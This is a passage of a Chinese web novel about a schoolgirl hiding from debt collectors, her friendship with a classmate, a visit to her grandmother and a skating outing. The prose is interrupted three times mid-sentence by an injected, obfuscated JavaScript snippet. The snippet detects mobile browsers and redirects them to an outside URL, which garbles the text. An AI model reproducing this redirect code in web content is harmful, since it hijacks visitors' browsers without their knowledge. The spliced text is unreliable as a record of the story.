难不成是四哥他们绕到后面来了? 她举着菜刀慢慢挪到窗户前,捏着窗帘的一角小心翼翼掀开了一条缝隙…… 窗外,顾彧举着一根不知从哪里捡来的木棍,在敲周窈房间的窗户。 窗帘又被拉开了一些,好让对方看到自己的脸。 顾彧扔掉木棍,张开双臂,无声地说道:“跳下来,我接着你。” 若是之前,周窈肯定会叫他立即回去,以免将他也卷进这件事来。但眼下,走投无路的周窈别无选择。 将刚整理好的行李往窗户外一扔,周窈随即也探头朝楼下看去。 她家虽然住在一楼,但因为下面还有一层半地下的车棚,所以窗户距离地面也有两三米的高度,跳下虽然摔不死,但摔伤也是有可能的。 但眼下也顾不得这么多了,周窈爬上窗台,看了一眼顾彧,然后转身攀着窗沿伸出腿往下探。 很快,小腿就被人伸手抱住。 于是两眼一闭手一松直接往下坠,预想中的痛感却并未到来,少年揽着她的腰稳稳将她接住。 没时间多说,更来不及感受肌肤接触时的悸动,顾彧一手拎着周窈的背包,一手牵着她往自家方向悄声跑去。 他家阳台外面,此时正架着一架梯子。顾彧稳住轻微摇晃的梯子,示意周窈先上去,又在看见她顺利进屋之后,回到周窈房间的窗户下,用他刚刚捡来的那根木棍,将她敞开着的窗户给拨了回去。做完这一切之后,他甚至大摇大摆地装作无事发生一样绕到正门回家,顺便瞥了一眼周窈家门口的情况。 那两人应该是叫门没成功,正站在楼道口边打电话边抽烟。 回了家,就看见周窈呆坐在客厅的沙发上,一脸的惊魂未定。 顾彧拉开冰箱门,拿出一桶冰淇淋递给周窈:“吃点甜食。”而自己则来到阳台上收拾梯子,顺便拿出手机拨打了110。 隔着阳台门,周窈只听见顾彧报了地址,然后控诉那两个追债人“扰民”,其他的,顾彧并未提及,也算是对周窈的一种保护了。 等他重新进来,周窈问他:“你怎么知道的?” 顾彧也没隐瞒:“上次你拿着菜刀来开门,我就觉得一定有事,只是你不肯说,我就没问。” 周窈看了他一眼,没说话,但砰砰的心跳还未平复。 警车来得很快,两人站在窗户前屏息听了一会隔壁的动静,确定那两个人走了之后,才双双松了一口气。 看着眼眶都有点红了的周窈,顾彧摸摸她的头:“晚上就住我家吧,反正我奶奶的房间一直空着,不过你要是害怕,也可以睡我的房间。”毕竟老人家是在房间里过世的。 “你奶奶有什么好怕的,她老人家要是真的能显灵出来陪我,我还更安心点。”周窈将吃完的冰淇淋扔进垃圾桶里,深吸了一口气,然后抬头看向顾彧:“你怎么不问我发生了什么事?” 顾彧沉默一瞬,他能说上次在她家楼下,碎嘴的邻居大婶都已经给他剧透完了吗? 见他默不作声,周窈还以为他是怕自己不高兴不敢问,便自顾自说道:“你上次来我家不是问我爸去哪了吗?其实他欠了一屁股债之后逃之夭夭了,至今也不知道下落。跑路之前还骗我妈帮他背债,现在追债的人只要当月没收到钱,就会来我家闹,这几年来一直如此。” “其实他们最后也不会闹多大,毕竟他们最终还是需要我们还钱,但因为我妈今天不在,所以我……” “为什么不报警?”顾彧问。 “我研究过他们的利率,虽然高,但不属于高利贷范畴,没法告他们。而且他们催债的手段……最多就是个寻衅滋事,关几天就又出来了,对他们来说不痛不痒,可是我们的日子却还是要过下去。而且最可怕的是,他们不是一个小团伙,背后好像有人。” 这样一说,顾彧就明白了。像周窈和陈娟这样的普通人,是没有力量和这样一个庞大的团伙作对的,甚至对方根本就是在钻法律的空子,更别提搞不好还有个保护伞。 舟市这么一个小地方,有那么一两个地头蛇根本不稀奇,天高皇帝远,普通人根本无法与之抗衡。 突兀的铃声打破了这片沉默,是陈娟打来的。 周窈注意到顾彧微不可查地颤了一下,她赶紧先接通了电话。 “喂,妈妈,刚才那两个……” 没等周窈说完,陈娟略有些尖利的嗓音就传了过来,她那边很吵,像是在大街上。 “你就跟他们说晚两天不行吗?一个劲打我电话,我还得找你爸呢!真是什么事都指望不上你,又不是没跟他们打过交道,他们会把你吃了还是怎么的?!” 劈头盖脸一阵数落。 “你现在在哪呢?” 周窈看了一眼顾彧:“顾彧家。” 陈娟闻言又不满了:“你麻烦人家小彧干嘛?那既然躲出去了你就继续躲着吧,明天记得去你外婆家,还有,咱们家里的事你少跟外婆说,省的她又骂我。好了,挂了,没事别给我打电话。” “嘟嘟嘟嘟……” 周窈气得咬牙切齿:“你说周建民那人渣到底给我妈下了什么蛊了?”随即又立刻向顾彧道歉:“对不起啊,我忘了把手机静音了。” 顾彧从小听不得手机或者电话铃声,因为那时候他妈工作的医院经常在半夜打电话来将何茜华叫走,深更半夜突然响起的铃声本就骇人,加上铃声响起就意味着妈妈要走——幼小的顾彧便对电话铃声产生了阴影,有一段时间,他甚至会被电话铃声吓得惊厥。 这事也是顾彧奶奶去世后,周窈在他家陪他那会得知的。 “没关系。”顾彧轻轻笑了笑:“我现在已经没有那么怕了。睡衣带了吗?” “有。”周窈拍了拍自己的行李。 顾彧推着她来到卫生间:“先洗个澡吧。”说着,他又揉了一把周窈的头。 这还是第一次,周窈在顾狐狸脸上看到了温柔两个字。 / 洗完澡从淋浴房里出来,周窈才后知后觉地觉得有些尴尬。 蒸腾着热气的卫生间里放着的满满当当的男生用的东西,尤其在周窈看到放在镜柜下面的剃须刀和须后水时,她猛然发现,顾彧已经长大了,他们再也不是少时候的样子了。 回想起刚刚他站在窗台下面伸手接住自己的时那样,周窈惊觉,顾彧再不是当年跟在自己屁股后头粘着自己怎么都赶不走的小男生了,他已经长大到能够保护一个人了。 房间里,顾彧正在打游戏,他也没戴耳机,蒋煜和李铭轩的声音从电脑里传出来,掩盖住从卫生间传来的水声。 “卧槽,下路抓一波啊我的打野爸爸!我快被抓废了!” 顾彧操纵着刚复活英雄歪七扭八地冲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13460803|141717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进野区,很是心不在焉:“喊爷爷也没用,英雄发育慢,你努力扛一下。” “关键是扛不住啊!对面英雄天克我!你懂什么是天克吗?!” 李铭轩:“T-I-AN天,K-E克,你看人顾神多淡定,就你一个人大呼小叫。” 话音刚落,下一秒,刚复活的顾彧就又“淡定”地下线了。 蒋煜:“可不淡定么,成泉水战士了。” 卫生间水声突然停了,水晶也应声炸了。 顾彧掐了下眉心:“下一把吧。” 刚说完,就听卫生间的门“咔哒”一声开了,然后一串“吧嗒吧嗒”的脚步声由远及近。顾彧一转身,就看到周窈穿着一身白色卡通睡衣,抱着换下的衣服过来,未干的长发搭在肩膀上,整个人散发着潮湿的香气。 突然想吃甜食。 顾彧无意识地舔了下嘴唇,有些无所适从地随意点了几下鼠标。 周窈无事可做,更没心情做作业,便挨着顾彧坐下,看他摊在桌上的那些卷子和辅导书。顾彧虽然看起来吊儿郎当不怎么认真的样子,但是他刷题的数量着实不少,墙边上垒起的卷子都有半人高了。 边上鼠标被按得“咔咔”直响,周窈似乎感受到了顾彧的焦躁,扭头朝他看了一眼。 顾彧为了掩饰自己的尴尬,随手捞起一根棒棒糖递给周窈:“葡萄味,吃吗?” 对面蒋煜敏锐地觉察到这边的响动:“顾神跟谁说话呢?你房里有人?!” 周窈剥糖的手顿时一僵。 顾彧哼笑两声掩饰自己的尴尬:“是你祖宗。” “我去!不帮我Gank就算了,还占我便宜!” 周窈不玩游戏,自然也看不懂游戏,便起身在顾彧房间里溜达起来。这间房她小时候常来,过这么多年,摆设上与以前也没什么不同,只是原本放满了奖状奖牌的玻璃柜里,现在被一架架的飞机模型塞满。 看得出顾彧很喜欢这些飞机模型,按照型号不同还分了类,一个个整整齐齐地放在柜子里。周窈虽然不懂这些,但她经常看新闻,认出有几款模型是在军事新闻里出现过的。 又一局游戏结束,顾彧退出队列,切掉了语音。 “好看吗?” 周窈扭头:“好看,但我不太了解这些。” 顾彧起身走到她身边,指着柜子里的模型一件件给她介绍:“你都不知道我为了集齐这些模型废了多大功夫。” “很难得吗?”顾彧家要钱有钱,要门路有门路,连他都很难搞到的东西,周窈也不禁好奇起来。 “里面好几款都是限量的,还有一些国内外的热门机型,根本收不到,那架镭射F45,我海淘了两年多才从一个法国人手里买到的,还有那架J30,我在航展门口睡了一晚上才排队买到的。” 听起来确实很不容易。 “原来你喜欢飞机,我还以为你对什么都没兴趣呢。” 顾彧这个人,从小就精得跟狐狸似的,好像他想要什么都能得到得毫不费力,毕竟这人不仅长得漂亮,脑子还好。也不知是不是因为如此,他也没有什么特别喜欢的东西,对什么东西都淡淡的,这还是周窈第一次听到他说喜欢某样东西,多少觉得新奇。 闻言,顾彧转过身来,双手枕在脑后倚靠着墙壁:“也不是不感兴趣,只是经常不知道是为了什么。比如学习,每天上课刷题考试,又有什么意义呢?一点意思都没有。” 换作别人听到这话,定然会以为顾彧是在嘲讽别人,努力努力白努力,但这熟悉的调调,周窈可听过太多回了。 “少凡尔赛了。” 顾彧被怼,不仅没有生气反倒起了兴致:“那你这么努力读书是为了什么?” “我?”周窈不假思索:“我自然是为了逃离这个地方,带着我妈一起,不用再赚钱还债也不用再担惊受怕。” 明明听起来是很沉重的话题,但顾彧却身体往后一靠,开口就是羡慕的语气:“真好,周条条也有自己的目标。我都不知道我未来要做什么,考什么学校,也不知道未来想做什么。我现在觉得,上学对我来说最大的意义就是让我知道明天要做什么。” 这种尖子生的烦恼,在一般人看来多少有些为赋新词强说愁的味道。普通人每日为了生计就够奔波劳碌了,又怎么会有时间闲下来探索什么人活于世的意义。 想想自己,周窈不禁感叹了一声真是同人不同命啊。 视线扫过玻璃柜里那一排排的飞机模型,周窈随口说了一句:“你这么喜欢飞机你去当飞行员好了。” 32. 星空 “我?飞行员?” “对啊,反正你成绩这么好,个子也高……”周窈说着打开了手机搜索招飞的条件,“唔,你只要保持住,不要超过185就行了。” 顾彧愣了一下,从周窈嘴里看似随意地说出的这一段话,他却从未这么想过。 隔着玻璃柜面摸上了放在最中间的那架飞机模型,那是一款老旧的已经退役了的机型,却是他收到的第一架,他十岁生日时他爸爸送他的,但那次生日,爸爸没有来,只是把礼物寄了回来。为此,他哭了好久,拍的生日照片上还挂着泪。 那时候他想,要是自己会开飞机就好了,就能随时去见爸爸。 只不过很快,他就长大了,再也不会哭着找爸爸,甚至都不需要父母的陪伴,这个想法也跟那些淡忘的岁月一样,被埋在了风里。 现在被周窈猛然一提,他又想起来了这桩事,原来自己小时候曾想过要做一名飞行员。 “听说机长工资很高,还能全球各地玩,真爽。” 顾彧听罢不禁笑了:“你就关心工资。” 周窈晃了晃脑袋:“毕竟我是葛朗台。” 电脑桌面上和蒋煜的对话框突然弹了出来。 【蒋蒋蒋蒋:顾神再来一局啊!李铭轩这家伙根本带不动!】 【李是李铭轩的理:你怎么不说是你拖后腿呢?0-7-2。】 【蒋蒋蒋蒋:卧槽我被举报了,是不是你!】 【李是李铭轩的理:[白眼]。】 【顾^^彧:等我。】 周窈凑过来:“李铭轩是你好朋友?” 顾彧一顿,然后立马垂下眼睫:“不是,我只有周条条一个好朋友。” 周窈没忍住拍了他一巴掌:“好好说话。你是不是和李铭轩还挺熟的?毕竟你们之前都是一个班的。” “还行吧,最近有变熟一点。”这话倒也没错。 顾彧对人际交往没有什么需求,一个人他也是如此,一群人也是如此,甚至他经常觉得一个人的时候还自在一些,和李铭轩虽然之前一个班,但也说不上熟,最近倒是因为总被蒋煜拉着一起玩,才变熟了一些。 “那……”周窈计上心头:“你看我都帮你找到人生目标了,你帮我说服李铭轩接受补课行不行?” 顾彧扭过头去看她,刚刚还替人“排忧解难”的少女脸上,此时已满是算计。 “一个月一千诶,我上哪找这么好的活?” “你自己不学习了?万一你自己成绩下降了怎么办?”清楚知晓周窈家境情况的顾彧免不了有些担心。 成绩固然重要,但对周窈来说,赚钱也一样重要。 “大不了每天晚上回家晚睡俩小时呗。”只要能赚到钱,累点苦点又算什么。 顾彧看了周窈一眼,小姑娘眸光亮亮的望着自己,漆黑长发垂在肩头,洇湿了的睡衣上留下星星点点的水渍,看起来乖极了,让人想捏捏她的脸。 拒绝的话无论如何都说不出口了。 “那我找机会帮你问问吧……” “多谢!”看似柔软的手猛地往顾彧肩头一拍,力道着实不轻,顾彧紧咬着牙才让自己不至于表现得龇牙咧嘴。可始作俑者压根不管,得到自己想要的承诺后就哼着歌直接转身出去了,剩顾彧一个人摸着被“铁砂掌”打过的肩头笑得无奈。 / 第二天一早,周窈没吵醒顾彧就悄悄离开了,她也没敢回家看一眼,拎着行李就直接去了车站。她买了最早一班去昌里的车。 但周窈不知道的是,她刚关上门离开,顾彧就起床了,或者说,他是一晚上没睡。 只要一闭眼就想起家里多了一个人,还睡在隔壁,突然心里就些异样,周窈洗完澡湿漉漉的样子也不知为何一直在脑海里浮现。 顾彧本来睡眠就不怎么好,这会入睡困难更令他感到焦躁,又不想起来制造响动吵到周窈睡觉…… 向来自我的顾神一整晚翻来覆去…… 天亮后不久,就听到隔壁发出轻轻的响动,过了一会,大门被人打开又关上。 周窈走了。 顾彧起身,径直推开隔壁的房门,这间自奶奶走了之后就再没人住过的房间里,此刻弥漫的却不是原先的霉味,而是混合着洗发水味道的淡淡体香。睡过的床收拾得整整齐齐,枕头和凉被被好好地放在床铺的头尾。 人已经离开了,却留下了来过的痕迹。像是掠水而过的青鸟,在顾彧心里留下了一点涟漪。 回望自己那一整柜的飞机模型,明明一整晚没睡的顾彧此时睡意全无,打开电脑开始搜索“招飞规则”,人生中第一次,拨开混沌看到了一条前进的道路。 / 坐了三小时的长途车,出站后再换公交,等到外婆家后已经是中饭时间了。 外婆不知道周窈要来,见人出现在家门口,急得直拍大腿。 “哎哟你这小孩,要来也不说一声,我今天都没烧菜!”说完又朝周窈身后看了看。 周窈将背包放下:“我妈没来,工作忙。” 老太太明明也惦记女儿,可嘴上却说着:“她能忙什么,不都是白忙活,都给那个姓周的骗走了。当初我说让她回家来吧,她还不干,嫌弃家里种地,她自己在外面混得好也行啊,结果还问家里要钱,我怎么生了这么个玩意……” 每次提起陈娟,老太太就是这么套说辞,颠来倒去的,周窈不知道听了几遍了。 洗了手,随便吃了点家里的剩饭,周窈就跟着外婆到山上看桃树去了。 昌里这块种桃子的多,外婆家就有一小片桃树,只不过外婆年纪大了,也不会弄网购,每年的桃子大多都是贱卖,被人用便宜价格收购走了。 原本周窈这趟来是想帮外婆收桃子的,结果上山一看,由于今年气候原因,桃子还都青着呢。 外婆笑着摆摆手:“咱们家就这几棵树,到时候大不了请个人就帮我都收了,而且你舅舅也会来帮我忙。” 周窈忙问:“舅舅还好吗?之前不是说在镇上的加工厂?” “唉。”老太太叹了口气:“你舅舅之前在加工厂弄伤了手,你舅妈就不让他再去干了,后来拿厂里的赔款开了家小超市,收入倒是还行。” 说话间,就听门外电瓶车“滴滴”两声,刚刚还念叨着的舅舅就出现在院子里。 “妈!面粉我给你送过来了!” 老太太闻声赶紧迎了出去,周窈也立即站了起来,但踌躇了一下,还是没敢出去。 院子里,周窈外婆压低了声音跟舅舅说:“阿窈来了诶。” “几时来的?” “中午,就刚刚。” “她没来啊?” “没……阿窈说是她妈在忙。” “切,忙什么啊?家里都被她掏空了。你小心点啦,钱包捂牢,别被人骗了去了。” 舅舅没多待,打了声招呼就走了,而他们在院子里的谈话,周窈却听了个清清楚楚。 陈娟和外婆、舅舅都借了很多钱,但欠钱又不还,导致她这两年和家里的关系也越来越差了,周窈夹在中间,大部分时候也感觉很无奈,只能再骂一遍周建民撒气。 但骂有什么用呢?想起小时候自己被舅舅扛在肩头玩耍时的样子,只觉得有一种美好不再的惆怅。 吃完晚饭,帮外婆收拾好桌子,周窈就爬到屋顶乘凉。其实十月山里的夜晚已经有些凉意了,但周窈还是重新感受了一把自己小时候常做的事——躺在屋顶的凉席上看星星。 城里看不见星星,也没有这么凉爽的山风。 就在她枕着林间草木声快要睡着的时候,手机突然急促地震动了起来。 顾彧给她打来了一个视频电话。 嗯? 周窈疑惑地坐起,这人从没给她打过视频,难不成有什么急事? 接通后,画面里出现了一个穿着白T漂亮少年,头发微湿,像是刚洗完澡,青葱明媚的样子,就连已经看习惯了的周窈都免不了心头一悸。 “你打视频来干嘛?”周窈直截了当地发问。 对面顾彧又是一张委屈脸:“你不回我信息……” 周窈切出去一看,确实顾彧下午的时候给她发了好几条消息,但那时她在帮外婆摘菜,手机没在身边也就没注意。 迅速浏览了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13460804|141717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一下内容,发现顾彧也没说什么重要的事,无非是问她在干嘛,什么时候回去。 “我没看见……” “我还以为你要抛下我跑了呢,你知道的,我从小就离开了妈妈,只有你这个朋友……”听起来像是快哭了。 周窈一脸无奈:“好好说话,蒋煜和李铭轩他们跟你玩得不是很好吗?” 谁知对面竟然回复:“但心底里我还是只有周条条这一个朋友。” 周窈轻笑:“你这话要是让蒋煜他们听到可了不得了。” 顾彧轻咳两声,终于正经起来:“你今天都干什么了?外婆身体好吗?” “外婆还挺好的,本来想帮她摘桃子的,但气候关系,都还没熟呢。” “真好,你外婆还在。”顾彧的声音听起来有点落寞,可能是想到了他奶奶。 这次的落寞是真的,但周窈太过笨拙,不知道该如何安慰他。 视线扫到头顶的漫天繁星,她切换了摄像头。 “给你看星星。” 广阔无垠的天空像是黑丝绒上缀满了钻石,浪漫又绚烂。 “我还能认出几个星座,你看那边是北斗星座,不知道能不能找到我的星座。” “比城里的天空漂亮。”视频对面的少年沉沉开口:“不过最漂亮的还是周条条。” 油嘴滑舌。 不过即便这样想着,但青春期的萌芽还是稍稍蠢动了一下。 想起代薇子说的,顾彧是第一个夸她漂亮的人,周窈的心彻底软了下来。 “只有你说我漂亮……”她喃喃道。 “谁说的,那天合唱比完之后,路上不就有男生跟你表白。”男生的语气听起来闷闷的。 经他这一提醒,周窈这才想起来还有这么一回事:“我那是,拿到灰姑娘体验卡了……” 她小声说着,顾彧却没听清,只问她什么时候回来。 周窈刚要回答,就听楼下外婆叫自己。 “过几天吧,我外婆叫我,先挂了。”然后匆忙下楼。 楼下,外婆拿了一条干净床单准备给周窈铺床。见她从楼上下来,忍不住说了两句:“天那么凉了还要上楼顶吃风,别感冒了。” 周窈笑着接过床单自己铺上:“没事啦,凉风吹得很舒服。” “你现在是舒服,晚点就要头痛。”说完,外婆又带着几分过意不去问道:“啊窈,你几时回舟市啊?” 周窈怔了一下:“还没想好,打算多陪您几天。” 闻言,外婆似有些为难:“你舅舅今天过来跟我说,你舅妈明天会带崽崽过来住几天……” 这话一出,周窈就明白了。 要说这个家里谁最讨厌她和陈娟,那必然就是舅妈。毕竟谁也不希望自己有一位借钱不还的小姑子和外甥女。 周窈迅速领会了外婆的意思,她点了点头:“我知道了外婆,我买明天早上回去的票。” “好,好……”说着外婆就出去了,可过了一会又折了回来,手里捏着两张钞票往周窈手里塞。 “不要,外婆我不要,我不缺……” 但外婆十分坚持:“你拿着,你妈妈是个没谱的,她那里我是不会再给她钱了,我老啦,也得攒钱买棺材地了,不然你舅舅压力太大了。这个钱你拿着,买点吃的,买点书都好,不要给你妈妈知道……” “知道了,外婆……” 等外婆出去,周窈背过身去摸摸擦了一下眼泪。 昌里是个小地方,车票并不难买,周窈照例还是买了最早的车票,第二天天刚亮,就离开了昌里,外婆本来想送她到镇上,但被她拒绝了。 来时觉得挺顺利的路程,回去却漫长而坎坷。 在车上闲来无事,周窈背了几篇英语课文,又刷了会空间,说好不去的代薇子和蒋煜他们还是去了密室逃脱,几个人拥在一起又怕又笑地比耶,莫名的,周窈也有几分羡慕。 明明她以前都不在意这些的。 啧。 周窈有些烦躁地撑着头靠在窗户上。 说来说去还是都怪顾彧,自从他转过来之后,自己的世界就逐渐失控了。 33. 劝告 【蒋蒋蒋蒋:下午溜冰场,约的举手!】 【代代:①】 【③孬学生:②】 【李是李铭轩的理:③】 …… 【①中萨达姆:⑥】 【⑨班卡扎菲:我去不了,要去补课。】 【蒋蒋蒋蒋:扎总还是这么上进,顾神去不去?@顾^^彧】 【蒋蒋蒋蒋:顾神?收到请回话!@顾^^彧】 一小时后…… 【蒋蒋蒋蒋:我去,顾神这是失踪了吗?他去海市了?】 【李是李铭轩的理:没有吧,他没说过。】 【蒋蒋蒋蒋:要不要让阿周去看看啊?】 【代代:你忘了她去昌里了吗?】 【蒋蒋蒋蒋:哦对……可是我这么大一个顾神去哪了呢?!】 刚下车,口袋里的手机就震得飞起。周窈迅速扫了一眼,心里倒不觉的奇怪,毕竟顾彧听不得手机铃声,震动都不行,手机是常年静音的,一时没看到也不奇怪。 转了两班车终于到了小区门口,刚下车就被邻居阿姨抓了个正着。 “哎哟小周你回来啦?!快点回去看看,你家那个墙上哦,又被人用红油漆泼得一塌糊涂,早上我出去买菜,吓得我心脏病都要发作了!” 周窈闻言心中一惊,看来那天晚上没抓到她,那两人也没就此离开。 “这种情况还要多久啊?搞得邻居都不得安生啊,我家小孙子才幼儿园,本来国庆要来我这里吃饭的,这下我都不敢让他们来了!” “对不起啊阿姨,我回去看一下,马上就处理。” “好好好,你快去看看,真的是一塌糊涂,地上,天花板上,到处都是,吓死人了,跟凶杀案一样!我差点就报警了!” 周窈没敢耽搁,直接往家里方向奔去。 而等她到了家楼下,却看到一个本不该出现在这的人。 群里大肆寻找的失踪人口顾彧,此时正在她家门口,拿着一把不知道从哪弄来的铲子,一点点铲着被红油漆泼上的墙皮,他脚边还放了一个大白桶,里面应该是新买的白漆。 “你怎么在这?” 顾彧被吓了一跳,回头一看是周窈,脸上的惊诧更深了。 “呃……”很少看见学校的风云人物有这种语塞词穷的时候,眼珠子飞快地转着,显然在思考说辞。 周窈倒没说什么,径直上前从他手里拿过小铲子:“我来吧,我会弄。”说完抬头扫视了一眼楼道,原本就斑驳的墙上用红色油漆写满了大大小小的“还钱”“去死”“婊子”之类的恶毒字样。 倒不是第一次看见了,只是在这样一个昏暗又陈旧的楼道内,乍一看确实很像是鬼片或是警匪片的现场。 顾彧站在边上盯着周窈看了一会,确定她脸上没有伤心惧怕的情绪后,便往墙上一靠,手指抠着墙皮。 “你昨天也没说今天回来啊……” “你是我妈啊,什么事都得跟你汇报。” “难道我不是你最好的朋友吗?” 周窈的表情空了一下。 顾彧瞬间像是天塌下来似的:“我竟然不是你最好的朋友吗?!” “呃……”这会轮到周窈语塞了。现在难道是讨论这些的时候吗?!她拿着铲子有一下没一下地清理着墙皮,脑海里却飞速闪过各种念头。 其实在顾彧享受孤独独来独往的时候,周窈又何尝不是形单影只呢?小学的时候是因为被霸凌,没人愿意搭理她这个“小保姆”,后来上了初中,她也习惯了这种孤独,在偌大的班级集体里单孑独立,后来周建民惹了一屁股债一走了之之后她更是如此。 只是最近,她的世界好像热闹起来了。 望着面前一脸“你最好给我个解释”的顾彧,周窈有些尴尬地不知该如何作答,毕竟再此之前,她从没想过顾彧到底算不算她的朋友,毕竟以前照顾顾彧,和顾彧玩,都是因为陈娟的嘱咐而已。 顶多,算个从小的玩伴?但确实要比玩伴多那么一些…… “我……” 正想说些什么,口袋里的手机再次急促震动了起来,周窈掏出来一看,是蒋煜打来的电话。 “不好了葛朗台·周!顾神失踪了!” “啊?” 看着眼前满脸写着不爽的顾彧,周窈只觉得略有些荒谬。 “真的!他今天一整天信息不回电话不接,他是不是出什么意外了啊?!你能联系上他吗?” “呃——他没出什么意外,他现在在我边上,只是没看手机吧。” “什么?!你们怎么会在一起?!顾神去昌里了?!” 周窈没忍住将手机拉开了一点距离:“不是,是我回来了。” “你回来了?这么快?那你下午要不要过来一起滑冰?叫上顾神一起!” 看着满墙的红色痕迹,周窈本想拒绝,但看着眼前似乎正在生气的顾彧,又想起外婆塞给自己的零花钱。 哄还是要哄一下的吧。 “好,不过我们可能要晚一点到,你把地址发给我吧。” 挂了电话,周窈问顾彧:“一起去滑冰吧,我请客。” 顾彧撇过头去小声“呿”了一声:“我才不去,你去和别的朋友们玩吧。” “行吧,不去拉倒。”周窈重新拿起铲子:“不过除了你,我好像也没别的朋友了。你要是不想去的话,那我也不去了,一会再跟蒋煜回个电话说明一下吧。” 少年的眼睛倏地亮了,有些傲娇地压制着嘴角的弧度,然后捡起刷子蘸了油漆,对着周窈刚铲干净的墙皮刷了起来。 “口是心非,还是你们渣女套路多。快点刷,我还要去滑冰的!” 闻言,周窈轻笑了两声,没有反驳。 …… 原本骇人的“凶案现场”在两人的努力下不到两小时就重新粉刷完了,连大门上的红油漆也用酒精擦干净了。 处理完一切,又跟被吓坏的邻居道了歉之后,周窈便和顾彧一起感到了旱冰馆。场馆里基本都是蒋煜叫过来的同班同学,很是热闹,见他们来了,也第一时过来打招呼。 周窈从没来过旱冰馆,更不会溜冰,甚至连旱冰鞋都不知道怎么穿。 池子里的代薇子注意到周窈还没动,便猜她是不会,刚想过去帮忙就被李铭轩一把拉住:“人家有人带,你起什么劲。” 再扭头一看,果然顾彧早已来到了她的身边,非常干脆地单膝跪地,松开旱冰鞋上的绑带,帮助周窈穿了进去,绅士的模样让冰场里的其他小姑娘都免不了多看几眼,纷纷打听那两人是不是一对。 穿好鞋子,周窈却又死活不敢站起来。 “我不会滑,肯定会摔跤。” 顾彧伸出手:“不会摔,我扶着你。” 冰场里,俊朗帅气的少年和清秀的少女手拉手,沿着外圈小心翼翼地滑着,看上去画面美得像是偶像剧,而当事人周窈却只觉得自己像只笨拙的刚开始学走路的企鹅,只要顾彧稍一松手,她整个人就立马歪七扭八地摇摇欲坠。 “放轻松一点,保持住平衡,别怕,不会摔。” 周窈死拽着顾彧的手拼命摇头:“不行不行!顾狐狸你要是敢松手我今天就跟你绝交!” 顾彧看着自己手臂上被周窈抠出来的指甲印,笑得无奈:“我没松手,我哪敢啊……” 周窈脚下打滑:“哎哎哎你扶住我啊!扶住!” “我不是扶着么……” “放屁!你刚刚是不是想松手?!” “你掐我那么疼,我那是正常生理反应!” 两人吵吵闹闹,其他人经过他们身边都得多看一眼,起先是觉得顾彧长得极为帅气,后来又觉得周窈这番类似早期人类驯服四肢的画面过于好笑,甚至开始起哄。 边上蒋煜一边吃着冰淇淋,啧啧称奇:“要不说还是葛朗台·周有手段呢,这会连小手都拉上了,于奥琪和荣子涵看到了还不得哭晕在厕所。哎,你说这俩人,这氛围感,是在一起还是没在一起啊?” 边上代薇子冷哼:“没呢。” 蒋煜:“兄台,此话何解?” 代薇子扭头瞥了他一眼:“女人的直觉。他俩现在,充其量就是小孩子过家家,没开窍呢还。” “啧啧,我就不这么觉得。”蒋煜摇头晃脑挥舞着冰淇淋一副指点江山的模样:“你没发现么,自从香飘飘大捷之后,葛朗台·周对顾神的态度一百八十度转变,就像是曾经亏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13460805|141717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 欠他的全都要补回来似的,你看,密室逃脱她一直护在顾神身边,合唱比赛又替他击退情敌,如果这都不算爱……”说到最后还唱起来了,越唱越觉得自己的分析有道理,于是一拍大腿:“啥也不说了,就看葛朗台·周能不能追到顾神吧!” 代薇子眼皮一掀:“你怎么不说是顾彧什么时候追到周窈呢?” “那不能够。”蒋煜下巴一抬:“我们顾神是不近女色的,不然他怎么不选于奥琪?” “神经。”代薇子懒得理他转身滑走了,而蒋煜则兴致勃勃打开企鹅,开始讨论“开坛做法”的可能性。 冰场里,周窈汗都冒出来了,终于取得了那么一小点的进步——能自己扶着栏杆蚂蚁爬行了。她大手一挥:“你走吧,我自己能行了。” “你确定?”顾彧挑眉。 “嗯嗯,走吧走吧。”省得别人总往他们这瞟。 “用完就丢。”顾彧小声嘟囔,不过他倒也没坚持,正好也有些渴了,便退出了冰场,坐在一边喝饮料。 五分钟后,滑累了的李铭轩从冰场出来,坐到了顾彧身边。 “你怎么不进去滑?” 顾彧一脸无奈,指了指视线一直未曾离开的周窈:“刚学会走路就闹着要独立。” 李铭轩看了一眼正和代薇子手拉手转着圈滑的周窈,瞬间了然,他喝了口奶茶,开口问道:“我以为你不喜欢参加这种活动呢,怎么会来?” 顾彧向后一靠:“我也以为我不喜欢,人那么多,那么吵,还不如在家刷题。” 李铭轩被这种“刷题当消遣”的行为惊着了:“你们这种好学生,到底是以什么样的心态在学习啊?” 顾彧想了想:“这个年纪也没什么能做的事,不学习还能干嘛?” “很多事可以做啊,打游戏、玩乐高,她们女生还追星、追剧……” 